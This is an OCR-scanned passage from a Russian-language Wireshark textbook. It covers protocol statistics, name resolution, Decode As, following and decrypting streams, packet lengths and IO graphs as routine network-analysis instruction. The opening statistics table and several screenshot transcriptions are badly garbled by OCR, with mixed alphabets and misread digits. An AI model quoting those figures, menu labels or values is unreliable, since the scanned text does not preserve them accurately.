Simple Ndwork Man1gemcnt Protocol о.о 4 о.о 476 40 476 40 

Sf:rvкc loc1t1on Protocol о.о 1 о.о 86 86 

№tBIOS №mc Sf::rvicc 0.3 43 о.о 39S6 3>7 43 39S6 337 

Muttic1st Dom1in №mc Systcm о.о о.о 11ОО 68 11ОО 68 

l1nk-loc1t Mutьc1st N11mc R6olut1on 02 28 о.о 1848 117 28 1848 ш 

НурМехt Tr1nsfcr Protocol 0.2 21 0.1 9391 801 21 9391 801 

Dom.11n Ni!mt: Systt:m о .в 101 0.1 11687 997 10\ 11687 997 

Bootstr•p Protoc°' о.о 2 о.о 684 18 2 684 18 

v Tr1rumission Control Protocol 98.0 12641 99.7 9897140 844 k 10901 8908786 760k 

Stcure Socket.s l1yer о.о о.о 103 103 

Malformt:d P1ckd о.о о.о 4380 373 4380 373 

v Нурюm Trinsft:r Protocol В.\ 1736 9.9 983871 83 k 1364 7234С2 б1 k 

v Port1Ыt: N№vork Gr.!iphics 0.1 17 0.1 10816 922 16 10469 893 

M11formed Pкkg о.о 1 о.о 347 29 1 347 29 

Med1<1 Туре. 02 28 0.2 192В4 1641 28 19284 1641 

M1tformed P1ckd о.о о.о 314 26 314 26 

l1nt-b.!lsIO tm d.rta 1.1 141 1.0 103728 8811 141 103728 8811 

JPEG File lnterch.1ngc Form•t 0.6 72 О.б 62036 1293 72 62036 1293 

Jav1Script Objt:d: NotltIOn о.о 3 о.о 2843 242 2843 242 

tXtens1Ыc М..rtcup l.!ingu.!lgc 0.1 11 0.1 1946 507 11 1946 507 

Compuse:rveGIF 0.7 91 0.6 11502 4736 91 11502 4736 

lntrrnet Group Managemmt Protocol о.о о.о 92 7 92 7 

Addr6s Resolution Protocol о.о о.о 212 21 212 21 

.... -.-
~ Сору . Нф 1 

Рис. 5.7. В окне Protocol Hierarchy Statistics показывается распределение сетевого тра

фика по отдельным протоколам 

Со временем вы обнаружите, что окном Protocol Hierarchy Statistics можно 

пользоваться для профилирования пользователей и устройств в сети, просто 

глядя на распределение применяемых протоколов. Например, большой объ

ем сетевого трафика по протоколу НТТР может свидетельствовать об интен

сивном просмотре веб-страниц в Интернете. Кроме того, вы сможете выяв

лять отдельные устройства в сети, просто глядя на трафик из сетевого сегмен

та, принадлежащего конкретному подразделению организации. Например, 

в отделе информационных технологий могут применяться дополнительные 

административные протоколы вроде ICMP или SNMP, в отделе обслужива

ния заказчиков - наблюдаться большой объем почтового трафика по прото

колу SMTP, а вредный молодой специалист может незаметно наводнить сеть 

трафиком , тихо наслаждаясь в своем уголке многопользовательской ролевой 

игрой World о/ Warcraft! 



Преобразование имен 
Данные передаются по сети между конечными точками с помощью раз

личных буквенно-цифровых систем адресации, которые зачастую ока

зываются слишком длинными и сложными для запоминания , например, 

МАС-адрес 00: 16:се: 6е: 8Ь:24, адрес 1Pv4 192 . 168. 47 .122 или адрес IPvб 
2001:с\Ь8:а0Ь:12f0: :1. Чтобы облегчить запоминание этих адресов им на
значают удобные и запоминающиеся имена, а процесс нахождения адреса по 

имени называется преобра:зованием имен (пате resolution). Например, запомнить 

адрес google. сот намного легче, чем адрес 216. 58. 217. 238. Благодаря связы
ванию удобочитаемых имен с неудобочитаемыми адресами облегчается их за

поминание и распознавание. 

Активизация процесса преобразования имен 
При отображении данных из пакетов в Wireshark можно пользоваться пре

образованием имен, чтобы упростить их анализ. Чтобы воспользоваться в 

Wireshark преобразованием имен , выберите команду Edit9Preferences9Name Res
olution (Правка9Глобальные параметры9Преобразование имен) из главного 
меню. В итоге откроется окно (рис. 5.8), в котором доступны основные, описы
ваемые ниже параметры настройки процесса преобразования имен в Wireshark . 

• Wireshark · Preferenc:es 

v Appearance 
L•yout 
Columns 
Font and Colors 

Capture 
Fitter Expre:ssions 
Name Resolution 

> Protocols 
> Stati<.litics 

Advanced 

Наmе Resolutlon 

0 Resolve МАС oddresses 

0 Resoive tronsport nomes 

О Resoive nei-k (IPJ addresses 

0 Use C"Phrod ONS р;Юсеt dat.. fi>r address r..Wtion 

0 Use ""•""""" netwont name resolver 

0 Enoble CDnQJfТent ONS пате redJtion 

~ЮllUn conasrб1t requ6ts j~soo-------~ 

О Or/y u<e the proftle """'ts" ftle 

0Eмbl<!O!DresotJtюn 

О SUppress SМI errors 

SМI (М!В ond Р!В) paths Edit J 
SМI (!<!В ond РIВ) modules Edt ... "] 

Geo!P dat..Ьa" directx>rlts ( Edt .. 

х 

Рис. 5.8. Активизация процесса преобразования имен в окне Preferences. 

Среди первых трех флажков, относящихся к типам преобразования 

имен, эдесь выбран только флажок Resolve МАС addresses 



• Resolve МАС addresses (Преобразовать МАС-адреса). В этом режиме 
применяется протокол ARP, чтобы попытаться преобразовать МАС-а
дреса второго уровня (например, такие как 00: 09: Sb: 01: 02: ОЗ) в адреса 
третьего уровня (например, 10 .100 .12 .1). Если подобные попытки по
терпят неудачу, Wireshark выберет из своего каталога файл ethers, что
бы предпринять новую попытку преобразования адресов. А в качестве 

последнего средства Wireshark прибегнет к преобразованию первых 
трех байтов МАС-адреса в имя устройства, обозначаемое производите

лем по стандарту IEEE (например, Netgear_Ol: 02: 03). 

• Resolve transport names (Преобразовать транспортные имена). В этом 
режиме предпринимается попытка преобразовать номер порта в свя

занное с ним имя протокола - например, отобразить порт 80 как http. 
Это удобно, когда в ходе анализа встречается неизвестный порт и непо

нятно, с какой службой он обычно связан. 

• Resolve network (IP) addresses (Преобразовать сетевые (IP) адреса). 
В этом режиме предпринимается попытка преобразовать адрес треть

его уровня (например, 192 .168 .1. 50) в удобочитаемое имя DNS вроде 
MarketingPCl.domain.com. Это удобно для выяснения назначения или 
владельца системы, при условии, что у нее имеется описательное имя. 

В разделе Name Resolution окна Preferences, приведенного на рис. 5.8, имеют
ся и другие глобальные, описываемые ниже параметры настройки преобразо

вания имен. 

• Use captured DNS packet data for address resolution (Использовать данные 

из перехваченных пакетов DNS дл.я преобразовани.я адресов). 
В этом режиме производится синтаксический анализ данных из пере

хваченных пакетов DNS для преобразования IР-адресов в имена DNS. 

• Use an external network name resolver (Использовать внешний преобра

зователь сетевых имен). В этом режиме допускается формировать за

просы к DNS-cepвepy той машиной, где выполняется анализ пакетов, для 

преобразования IР-адресов в имена DNS. Это удобно в том случае, если 
требуется воспользоваться службой DNS для преобразования имен, но 
анализируемый перехваченный трафик не содержит соответствующие 

пакеты DNS. 

• Maximum concurrent requests (Максимум параллельных запросов). 
В этом режиме устанавливается ограничение на количество параллель

ных DNS-запросов, одновременно ожидающих обработки. Этот режим 

задается в том случае, если в перехваченном трафике формируется 

слишком много DNS-запросов, что может отрицательно сказаться на 

пропускной способности сети или производительности DNS-Cepвepa. 



• Only use the profile "hosts" file (Использовать только профильные 
файлы сетевых узлов bosts). В этом режиме работа системы DNS 
ограничивается только файлом hosts, связанным с активным профилем 
Wireshark. О том, как пользоваться этим файлом, речь пойдет в следую
щем разделе. 

Изменения, вносимые в окне Preferences, сохраняются после закрытия и 

повторного открытия Wireshark. Чтобы оперативно вносить изменения в 
процесс преобразования имен, не сохраняя их, настраивайте параметры пре

образования имен, выбирая команду Viewc>Name Resolution из главного меню. 

У вас есть возможность активизировать или отменять преобразование имен 

для физических, транспортных и сетевых адресов. 

Чтобы сделать файлы перехвата более удобочитаемыми, сэкономив не

мало времени в определенных случаях, воспользуйтесь различными инстру

ментальными средствами преобразования имен. Например, преобразование 

имен DNS помогает сразу же выяснить имя компьютера, который вы пытае
тесь идентифицировать как отправителя отдельного пакета. 

Потенциальные недостатки преобразования имен 
Принимая во внимание преимущества преобразования имен, его приме

нение считается вполне очевидным, но у него имеется и ряд потенциальных 

недостатков. Прежде всего, преобразование сетевых имен может потерпеть 

неудачу, если отсутствует подходящий DNS-cepвep для предоставления имен, 

связанных с IР-адресом. Сведения о преобразовании имен не сохраняются в 

файле перехвата, и поэтому процесс их преобразования должен происходить 

всякий раз, когда открывается этот файл. Если вы перехватываете пакеты 

в одной сети, а затем открываете файл перехвата пакетов в другой сети, то 

ваша система не сможет получить доступ к DNS-cepвepaм из исходной сети, а 

следовательно, преобразование имен потерпит неудачу. 

Кроме того, преобразование имен требует дополнительных издержек на 

обработку. Если приходится иметь дело с очень крупным файлом перехвата, 

то, возможно, придется отказаться от преобразования имен ради экономии 

системных ресурсов. Если же попробовать открыть крупный файл перехва

та и при этом система не сможет справиться с нагрузкой или приложение 

Wireshark вообще завершится аварийно, в таком случае может помочь отмена 
преобразования имен. 

Еще одно затруднение возникает, когда при преобразовании сетевых имен 

задействуется служба DNS. В этом случае могут быть сформированы лишние 
пакеты, способные засорить файл перехвата сетевым трафиком, посылае

мым DNS-cepвepaм для преобразования адресов. Дело усложняется еще и тем, 

что если анализируемый файл перехвата содержит зловредные IР-адреса, то 



попытки преобразовать их в имена могуг привести к формированию запросов 

к инфраструктуре, которая контролируется атакующим злоумышленником 

и может предупредить его о том, что о его злых намерениях сделать данную 

систему своей мишенью известно. Чтобы снизить риск засорения файла пе

рехвата пакетов или непреднамеренного связывания с атакующим злоумыш

ленником, сбросьте флажок Use an external network name resolver в разделе Name 

Resolution окна Preferences. 

Применение специального файла hosts 
Отслеживать трафик из многих сетевых узлов в крупных файлах перехва

та может оказаться довольно утомительным занятием, особенно в том случае, 

когда преобразование имен недоступно. В таком случае может, в частности, 

помочь разметка систем вручную на основании их IР-адресов с помощью 

специального файла hosts, создаваемого для сетевых узлов (или хостов) в 
Wireshark. Это текстовый файл, содержащий список IР-адресов и соответству
ющих имен. Файл hosts может быть использован для назначения в Wireshark 
соответствующих имен адресам для краткой ссылки. Эти имена будут отобра

жены на панели Packet List. 

Чтобы воспользоваться файлом hosts, выполните следующие действия. 

1. Выберите команду Editc:>Preferencesc:>Name Resolution из главного меню и 

установите флажок Only use the profile "hosts" file. 

2. Создайте новый файл в с помощью программы Notepad в системе 
Windows или аналогичном текстовом редакторе. Этот файл должен со
держать по одной записи в каждой строке с IР-адресом и тем именем, 

в которое он преобразуется (рис. 5.9). Имя, выбираемое справа в ка
ждой строке, будет отображаться в списке пакетов всякий раз, когда в 

Wireshark встречается IР-адрес, указываемый слева. 

hosts - Not•p•d 

Fil~ Edit Format Vi~ H~lp 

172.16.16 .128 Workstation 
74 .125 . 95 .104 ~oogle 

о х 

Рис. 5. 9. Создание файла hosts в Wireshark 

3. Сохраните созданный файл как обычный текстовый файл под именем 
hosts в соответствующем каталоге, как показано ниже. Обратите внима
ние, что у файла hosts нет расширения! 

• Wiпdows: 

• <USERPROFILE>\Application Data\Wireshark\hosts. 

129 



• MacOSX: 

• /Users/<имя пользователя> / . wireshark / hosts. 

• Linux: / home / <username> / .wireshark/ hosts. 

Откройте далее файл перехвата, и тогда любые IР-адреса из файла hosts 
должны быть обозначены соответствующими именами, как показано рис. 5.10. 
Вместо IР-адресов в столбцах Source (Отправитель) и Destination (Получа
тель) на панели Packet List появятся более описательные имена . 
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Рис. 5. 1 О. Преобразование имен из специального файла hosts в Wireshark 

Такое применение специальных файлов hosts может значительно улуч
шить вашу способность распознавать определенные сетевые узлы (или хосты) 

во время анализа пакетов. Работая в команде сетевых аналитиков, рассмотри

те возможность обмениваться со своими коллегами файлом hosts, содержа
щим известные ресурсы. Это поможет вашей команде быстро распознавать 

системы со статическими адресами, в том числе серверы и маршрутизаторы . 

le!QШ!pMЩ!i Если ваш файл hosts (!}(ажется неработоспособнъщ убедитесъ, не д~ 
полнили ли въt случайно его имя расширением файла . txt. Этот файл 
должен просто носитъ имя hosts без всякого расширения! 

Инициируемое вручную преобразование имен 
В приложении Wiresl1ark имеется также возможность по требованию акти

визировать на время преобразование имен. Для этого достаточно щелкнуть 

правой кнопкой мыши на пакете в панели Packet List и выбрать команду Edit Re

solved Name (Изменить преобразуемое имя) из контекстного меню. В открыв

шемся окне можно указать имя, соответствующее конкретному адресу, как 

метку. Такое преобразование будет утрачено, как только файл перехвата будет 

закрыт, хотя это краткий способ пометить адрес , не внося никаких постоян

ных изменений, которые придется отменять впоследствии. Я часто пользу

юсь данным способом , поскольку это немного проще, чем править файл hosts 
вручную при анализе каждого файла с перехваченными пакетами. 



Дешифрирование сетевь1х протоколов 
К числу самых сильных сторон Wireshark относится поддержка анали

за тысяч сетевых протоколов. И такая возможность объясняется тем, что 

Wiresl1ark является приложением с открытым исходным кодом, а следователь
но, СJIУЖИТ основанием для создания дешифраторов протаколов. Они дают воз

можность распознавать и декодировать различные поля сетевого протокола 

в Wireshark, чтобы отобразить сетевой протокол в пользовательском интер
фейсе. Для интерпретации каждого пакета в Wireshark совместно использу
ется несколько дешифраторов. Например, дешифратор сетевого протокола 

ICMP позволяет Wiresl1ark выяснить, что IР-пакет содержит данные из про
токола ICMP, извлечь тип и код протокола ICMP и отформатировать его поля 
для отображения в столбце Info панели Packet List. 

Дешифратор можно рассматривать как интерпретатор исходных дан

ных в приложении Wiresl1ark. Чтобы сетевой протокол нашел поддержку в 
Wireshark, для него должен быть отдельный дешифратор в данном приложе
нии, а иначе вам придется написать свой дешифратор сетевых протоколов. 

Смена дешифратора 

Файл перехвата 

vrongdissector.pcapng 

Дешифраторы применяются в Wireshark для того, 
чтобы обнаружить отдельные протоколы и выяс

нить, как отобразить сетевую информацию. К со

жалению, Wiresl1ark далеко не всегда делает правильный выбор дешифратора 
для применения к пакетам. И это особенно справедливо, когда в сетевом про

токоле применяется нестандартная конфигурация, в том числе нестандарт

ный порт, который зачастую настраивается сетевыми администраторами из 

соображений безопасности или сотрудниками организации, пытающимися 

обойти средства управления доступом. 

Если дешифраторы неверно применяются в Wireshark, их выбор можно 
переопределить. Например, откройте файл трассировки wrongdissector. 
pcapng, содержащий немало сведений об обмене данными между двумя ком
пьютерами по сетевому протоколу SSL (Secure Socket Layer - уровень защи

щенных со кетов), применяемый для шифрованного обмена данными между 

хостами. При обычных условиях просмотр сетевого трафика по протоколу 

SSL в Wiresl1ark не даст особенно полезных сведений в силу того, что они за
шифрованы. Но здесь определенно что"'Го не так. Если вы просмотрите содер-

жимое нескольких таких пакетов, щелкнув на них и исследовав содержимое 

панели Packet Bytes, то обнаружите сетевой трафик, представленный простым 

текстом. Так, если проанализировать пакет 4, то в нем можно обнаружить 



упоминание о приложении FileZilla для работы с FТР-сервером. А в ряде сле
дующих пакетов ясно показан аапрос и ответ как имени пользователя, так и 

пароля. 

Если бы это был сетевой трафик по протоколу SSI,, вы не смогли бы прочи
тать любые данные, содержащиеся в накетах, и вряд ли увидели бы все имена 

нользователей и нароли, передаваемые в виде открытого текста (рис. 5.1 l ). 
Принимая во внимание представленные здесь сведения, можно с уверенно

стью предположить, что это скорее трафик по протоколу FТР, а не SSL. Этот 
трафик, скорее всего, будет интерпретирован в Wiresl1ark как относящийся к 
протоколу SSL, поскольку в нем употребляется порт 443, как следует из све
дений, приведенных в столбце Info. А ведь это стандартный порт, используе
мый в сетевом протоколе HTTPS (т.е. надстройке НТТР над SSL) . 
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Рис. 5. 11. Если имена пользователей и пароли представлены в виде открытого тек
ста, это похоже скорее на протокол FTP, а не SSL! 

Чтобы устранить подобное затруднение, можно применить в Wiresliark 
принудителъную расшифровку с целью воспользоваться дешифратором протоко

ла FTP к анализируемым пакетам, выполнив следующие действия. 

1. Щелкните правой кнопкой мыши на избранном пакете SSL (например, 

на пакете 30) в столбце Protocol и выберите и:J контекстного меню ко

манду Decode As (Расшифровать как), чтобы открыть новое диалоговое 
окно. 



2. Дайте Wires}1ark команду расшифровывать весь трафик ТСР, проходя
щий через порт 443, как FTP, выбрав вариант ТСР port из списка в столб

це Field (Поле), введя номер порта 443 в столбце Value (Значение) и 

выбрав вариант FTP из списка в столбце Current (Текущий протокол), 

как показано на рис . 5.12 . 

• Wir~sMrk. · Dкod~ As.. .. х 

Field V•lue Туре Def•uk Current 

~._-.-l._-44_-3_ -------_-_-___,v-,l lnteger, bose 10 SSL . FТР 

ок 

Рис. 5. 12. В диалоговом окне Decode As." можно задать условия 
для принудительной расшифровки анализируемых пакетов 

3. Щелкните на кнопке ОК, чтобы увидеть изменения, немедленно внесен

ные в файл перехвата. 

Данные будут декодированы как трафик по протоколу FTP, что даст воз
можность проанализировать их на панели Packet List, не особенно вдаваясь в 

отдельные байты (рис. 5.13). 
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Рис. 5. 13. Просмотр правильно расшифрованного трафика FТР 

Возможностью принудительной расшифровки можно пользоваться мно

гократно в одном и том же файле перехвата. Принудительные расшифровки, 

установленные в диалоговом окне Decode As. ", будут автоматически отслежи

ваться в Wireshark. В этом окне можно просматривать и изменять все создан

ные до сих пор принудительные расшифровки. 



По умолчанию принудительные расшифровки не сохраняются при закры

тии файла перехвата. Но это положение можно исправить, щелкнув на кнопке 

Save в диалоговом окне Decode As" .. В итоге правила расшифровки протоколов 

будут сохранены в профиле текущего пользователя Wireshark. Они будут при
меняться из данного профиля при открытии любого файла перехвата. Сохра

ненные правила расшифровки можно удалить, щелкнув на кнопке со знаком 

"минус" (-) в данном окне. 
Сохраненные правила расшифровки можно легко забыть, что может при

вести к большому недоразумению для тех, кто к этому не готов, поэтому обра

щайтесь с правилами расшифровки благоразумно. Чтобы уберечься от подоб

ной оплошности, принудительные расшифровки не рекомендуется сохранять 

в своем главном профиле пользователя Wireshark. 

Просмотр исходного кода дешифраторов 

Прелесть работы в приложении с открытым исходным кодом состоит в 

том, что при возникновении каких-нибудь недоразумений можно всегда про

смотреть исходный код и выяснить их причину. И это особенно удобно при 

попытке выяснить причины, по которым конкретный протокол интерпрети

руется неверно. Ведь для этого достаточно проанализировать исходный код 

соответствующего дешифратора. 

Просмотреть и проанализировать исходный код дешифраторов сетевых 

протоколов можно непосредственно на веб-сайте, посвященном приложению 

Wireshark, щелкнув сначала на ссылке Develop (Разработка), а затем на ссылке 

Browse the Code (Просмотр кода). По этой ссьтке произойдет переход к храни

лищу исходного кода Wireshark, где можно просмотреть код выпуска послед
них версий Wireshark. В частности, исходные файлы дешифраторов сетевых 
протоколов находятся в каталоге epan/dissectors, где исходный файл каждо
го дешифратора обозначен именем расkеt-<имя_ протокола>. с. 

Эти исходные файлы могут оказаться довольно сложными, но все они со

ответствуют общему шаблону и снабжены довольно подробными коммента

риями. Чтобы понять принцип действия каждого дешифратора, совсем не 

обязательно обладать опытом программирования на языке С. Если же требу

ется досконально разобраться в том, что отображается в Wireshark, рекомен
дуется начать просмотр и анализ с дешифраторов самых простых сетевых 

протоколов. 

Отслеживание потоков 
Фай.л перехвата 

http_google.pcapng 
К числу наиболее удовлетворяющих потребностям ана

лиза пакетов относится возможность повторно соби-



рать в Wireshark данные из многих пакетов в едином удобочитаемом формате, 

нередко называемом выпиской из пакетов. Благодаря этому отпадает необходи

мость просматривать данные, посылаемые от клиента к серверу, мелкими 

фрагментами при переходе от одного пакета к другому. При отслеживании п(}

тока данные сортируются с целью упростить их просмотр. 

Ниже перечислены типы потоков, которые можно отслеживать. 

• Поток ТСР. В этот поток собираются данные из тех протоколов, где 

применяется протокол ТСР, например, из сетевых протоколов НТТР и 

FTP. 

• Поток UDP. В этот поток собираются данные из тех протоколов, где 
применяется протокол UDP, например, из сетевого протокола DNS. 

• Поток SSL. В этот поток собираются данные из тех протоколов, где 
они шифруются. Для дешифровки сетевого трафика необходимо предо

ставить соответствующие ключи. 

• Поток НТТР. В этот поток собираются данные из протокола НТТР. Это 

удобно для отслеживания данных НТТР через поток ТСР без полной 

расшифровки полезной информации из протокола НТТР. 

В качестве примера рассмотрим простую транзакцию по протоколу НТТР 

в файле перехвата http _google. pcapng. С этой целью щелкните сначала на лю

бом из пакетов ТСР или НТТР в этом файле, затем щелкните правой кнопкой 

мыши на выбранном пакете и выберите команду Followc:>TCP Stream (Отслежи

ватьс:> Поток ТСР) из контекстного меню. В итоге будет получен единый поток 

ТСР и открыта выписка из диалога в отдельном окне, как показано на рис. 5.14. 

Текст, отображаемый в окне Follow ТСР Stream, выделен двумя цветами: крас

ным (более светлым оттенком серого на рис. 5.14) - текст, обозначающий се

тевой трафик, проходящий от отправителя к получателю, а синим (более тем

ным оттенком серого на рис. 5.14) - текст, обозначающий сетевой трафик, 

проходящий в противоположном направлении: от получателя к отправителю. 

Цвет связан с той стороной, которая инициировала обмен данными. В дан

ном примере установление сетевого соединения с веб-сервером инициировал 

клиент, и поэтому его трафик выделен красным цветом. 

Обмен данными в потоке ТСР начинается с исходного запроса по методу 

СЕТ корневого каталога(/) на веб-сервере и продолжается ответом сервера в 

форме НТТР/1.1 200 ОКоб успешной обработке запроса. По тому же самому об

разцу происходит обмен данными и в других потоках перехваченных пакетов 

по мере того, как клиент запрашивает отдельные файлы, а сервер присылает 

их в ответ. В данном примере можно увидеть, что пользователь просматривает 

начальную страницу веб-сайта Google. Но вместо того чтобы просматривать 



пакеты по очереди, можно без труда прокруrить выписку из пакетов. По суще

ству, вы видите то же самое, что и конечный пользователь, но только изнутри . 

• W1resh1rlc · Foll°'v ТСР Stre•m (tcp.stream ~О} · http_google: о х 

GЕТ / НТТР/1.1 

Нost: www.google.c01& 
User-Agent: Мozill~/s.e (Wir\dows; U; Windows tlT 6.1; en-US; rv:l.9.1.7) Gecko/28091221 Firefox/ 3 . S.7 
Accept: text/ht•l, •pplicotion/xhtJol+,..l,opplic•tion/>Clll;q-6. 9 • • t•;q-e.s l: 
Accept - Language ~ en- us"en;q-e. s ~ 
Accept - Encoding: azip,deflate 
Accept -Chaгset: lS0-8859-1"utf-S;q-e. 7" • ;q-9" 7 
K~p-Alive : 38е 

Connection: keep · 11live 
Cookie : 
PREF•I0-25791389З8e6й48: U-267c896bSf39fЬeЬ: FF-4: lD-en: flR•18: ТМ-1268738654: 1.11-1265479336: 611-1: S•hlUB 
GonTuloAJ31>23L; NID• Зl•Z -nhWljUPб3eetVIПp-ЗТ11gflSPnJISlollllcNl _ DUrn02zWlcPН4JE3AJoc9b _ vG-
YF ibfXszOApfЬhBA1ВOX4dКX4LBZDdeiKwqelcgPS _ kzELtC2JIUНx7RНxЗPittcuZ 

/iТТР/l.1 208 СЖ 
Oate: Tue, е9 Feb 2810 61:18:37 m'Т 
Expires: -1 
C1che-Contf"Ol: private, 11ax-age-e 
Content-Type: text/htlll; cherset-UП-8 
tontent-Encodin&: g:ip 
Server: ~ 
Content~length: 4633 
X'~XSS·Protection: е 

Showdat:a~s {АSсп 

Рис. 5. 14. В окне Folfow ТСР Stream повторно собранные передаваемые 
данные представлены в удобочитаемом формате 

Помимо 11росмотра исходных данных, в этом окне можно производить по

иск в тексте, сохранять его в файле, выводить на печать или выбирать пред

ставление данных в коде ASCII, EBCDIC, шестнадцатеричном виде или в фор
ме массива на языке С. Все эти возможности, упрощающие анализ крупных 

массивов данных, находятся в нижней части данного окна. 

Отслеживание потоков SSL 
Чтобы отследить потоки ТСР и UDP, достаточно выполнить всего пару 

щелчков, но для просмотра потоков SSl, в удобочитаемом формате придется 
выполнить ряд дополнительных действий. Сетевой трафик по протоколу SSL 
зашифрован, поэтому необходимо предоставить секретный ключ, связанный 

с сервером, отвечающим за шифрованный трафик. Методика получения тако

го ключа зависит от конкретной серверной технологии, и поэтому ее рассмо

трение выходит за рамки этой книги. Но как только вы получите секретный 

ключ, загрузите его в Wireshark, выполнив следующие действия. 

1. Перейдите к глобальным параметрам настройки Wiresl1ark, выбрав ко
манду EditQPreferences из главного меню. 



2. Разверните раздел Protocols в открывшемся окне и щелкните на заголов
ке протокола SSL, как показано на рис. 5.15. Щелкните на кнопке Edit ря
дом с меткой RSA keys list (Список ключей RSA) . 

• Wireshark · Pr~e.re.ncб 
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SPDY 
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Б2J Reossemble SSI. rocords """'*19 .,..;~Та> segnonb 
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Рис. 5. 15. Ввод сведений о дешифровке по протоколу SSL 

3. Щелкните на кнопке со знаком "плюс"(+). 

х 

4. Предоставьте требующиеся сведения. К их числу относится IР-адрес 
сервера, отвечающего за шифрование, номер порта, сетевой протокол, 

местонахождение файла ключей и пароль к этому файлу, если таковой 

используется. 

5. Перезапустите Wireshark. 

В итоге у вас должна появиться возможность перехватывать зашифрован

ный сетевой трафик, проходящий между клиентом и сервером. Щелкните 

правой кнопкой мыши на пакете HTTPS и выберите команду FollowQSSL Stream 
( ОтслеживатьQ Поток SSL), чтобы увидеть выписку из расшифрованного тек
ста пакетов. 

Возможность просматривать выписки из пакетов относится к числу наи

более употребительных при анализе пакетов в Wireshark, и вам придется ею 
часто пользоваться, чтобы быстро выяснить, какие сетевые протоколы при 

этом применяются. В последующих главах книги будет рассмотрен ряд других 

сценариев, основанных на просмотре выписок из пакетов. 
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Длина пакетов 

Файл перехвата 

download-slow.pcapnq 

Размер одного пакета или группы пакетов может со· 

общить немало интересного о сложившейся ситуа-

ции в сети. При обычных обстоятельствах макси

мальный размер фрейма в сети Etl1erпet составляет 1518 байт. Если вычесть 
из этой числовой величины заголовки протоколов Ethernet, IP и ТСР, то оста
нется 1460 байт, предназначенных для передачи заголовка протокола седьмо

го уровня или данных. Если известны минимальные требования к передаче 

пакетов, то можно начать с анализа распределения длин пакетов в перехва

ченном трафике, чтобы сделать обоснованное предположение о составе дан

ного трафика. Это очень помогает при попытках понять состав крупных фай

лов перехвата. Для просмотра распределения пакетов по длине в Wiresliark 
предоставляется диалоговое окно Packet Lengths (Длины пакетов). 

Обратимся к конкретному примеру из файла нерехвата downl oad-slow . 
pcapng. Открыв его, выберите команду StatisticsQPacket Lengths из главного меню. 
В итоге откроется диалоговое окно Packet Lengths, приведенное на рис. 5.16 . 

• W1resh1rk · P1ck:tt: Length'5 · download-slow о х 

Topic / lte,; Count Aver1ge Min val Мах val R.te(ms) Percent Вurst rate Burstst.ort 
v Packet lengths 10728 988.99 S4 1460 0.0614 100% 02100 69.617 

0-19 о 0.0000 0.00% 
20-39 0.0000 0.00% 
40-79 3S87 S4.07 S4 бб 0.020S 33.44% 0.0700 31.017 
80·1S9 0.0000 0.00% 
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Рис. 5. 16. Диалоговое окно Packet Lengths помогает сделать обо
снованное предположение о сетевом трафике в файле перехвата 

Обратите особое внимание на строку со статическими данными о пакетах 

длиной от 1280 до 2559 байт. Крупные пакеты вроде этих обычно свидетель
ствуют о передаче д<~нных, тогда как более мелкие пакеты - о последователь

ностях управления протоколами. В данном случае наблюдается немалая доля 

крупных пакетов (66,43%). Даже не просматривая пакеты в файле перехвата, 
можно сделать вполне обоснованное предположение, что перехваченный 

трафик содержит одну или несколько передач данных, которые могут прини

мать форму загрузки по протоколу НТТР, выгрузки по протоколу FTP или лю
бой другой операции в сети, где данные передаются между хостами. 



Длина большинства оставшихся пакетов (33,44%) находится в пределах от 
40 до 79 байт. К этой категории обычно относятся управляющие пакеты ТСР, 
не несущие полезную информацию. Рассмотрим типичный размер заголовков 

протоколов. Так, заголовок протокола Etherпet занимает 14 байт (плюс 4 бай
та на циклический избыточный код CRC), заголовок протокола IP - как ми

нимум 20 байт, а пакет ТСР без данных или параметров - те же 20 байт. Это 
означает, что длина стандартных управляющих пакетов ТСР (например, паке

тов SYN, АСК, RST и FIN) составит около 54 байт и укладывается в рассматри
ваемые здесь пределы. Разумеется, эта длина увеличится, если добавить пара

метры протокола IP или ТСР. Более подробно сетевые протоколы IP и ТСР 
рассматриваются в главах 7, "Протоколы сетевого уровня", и 8, "Протоколы 
транспортного уровня", соответственно. 

Анализ длин пакетов позволяет составить общее представление о круп

ном перехваченном трафике. Если в нем имеется много крупных пакетов, то 

можно с уверенностью предположить, что в сети передается большой объем 

данных. Если же длина большинства пакетов невелика, это означает, что пере

дается немного данных, и можно предположить, что перехваченный трафик 

состоит из команд управления сетевыми протоколами. Но это не правила, ко

торые следует считать непреложными, а всего лишь предположения, помога

ющие приступить к более углубленному анализу. 

Составление графиков 
Графики служат основой анализа пакетов и одним из лучших способов по

лучения итогового представления о массиве данных. В состав Wireshark вхо
дит несколько средств для составления графиков, помогающих лучше понять 

перехваченные данные. И в первую очередь - это возможности графического 

представления ввода-вывода. 

Просмотр графиков ввода-вывода 

Фай.лы nepexвamadownload-fast.pcapng, В окне 1О Graph (График ввoдa

download-slov.pcapng, http_espn.pcapng вывода) предоставляется возмож-
ность построить график переда

чи данных в сети. Такие графики позволяют быстро выявлять всплески и про

валы в работе канала связи, обнаруживать задержки в производительности 

отдельных протоколов и сравнивать параллельные потоки данных. 

В качестве примера построения графика ввода-вывода при загрузке фай

ла на компьютер из Интернета обратимся к файлу перехвата download-fast. 
pcapng. Откройте этот файл, щелкните на любом пакете ТСР, чтобы выбрать 
его, и выберите команду StatisticsqlO Graph из главного меню. 



В открывшемся окне 1О Graph появится графическое представление пото

ка данных во времени. Как следует из примера, приведенного на рис. 5.17, 
на данном графике загрузки файла передается около 500 пакетов в секунду. 
И этот показатель остается постоянным почти до конца графика, где он резко 

снижается . 
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Рис. 5. 17. Этот график ввода-вывода демонстрирует практически постоянную ско
рость передачи пакетов при быстрой загрузке файла 

А теперь рассмотрим для сравнения пример более медленной загрузки 

файла. Оставив открытым текущий файл перехвата, откройте файл перехвата 

download-slow . pcapng в другом экземпляре Wireshark. Составив график вво
да-вывода для данного примера загрузки файла описанным выше способом, 

вы увидите совсем другую картину, как показано на рис. 5.18. 
Рассматриваемая здесь загрузка происходит со скоростью от 15 до 100 па

кетов в секунду, и такая скорость далека от постоянной , а иногда даже пада

ет до нуля пакетов в секунду. Подобное непостоянство можно лучше увидеть, 

если расположить рядом графики ввода-вывода обоих файлов, как показано 

на рис. 5.19. Сравнивая оба графика, обратите особое внимание на значения, 
откладываемые по осям Х и У, чтобы сравнивать сопоставимые величины. 

Масштаб в обоих случаях автоматически корректируется в зависимости от ко

личества пакетов и/или объема переданных данных, что составляет главное 



отличие сравниваемых графиков. Так, медленная загрузка файла демонстри

руется в масштабе от О до 100 пакетов в секунду, тогда как быстрая загрузка -
от О до 700 пакетов в секунду . 
